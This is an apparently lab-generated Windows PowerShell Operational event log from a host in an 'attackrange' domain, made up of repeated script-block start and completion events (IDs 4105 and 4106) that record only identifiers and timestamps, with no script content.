OpCode=On create calls
RecordNumber=2028308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028293
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028291
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028290
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028273
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028267
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
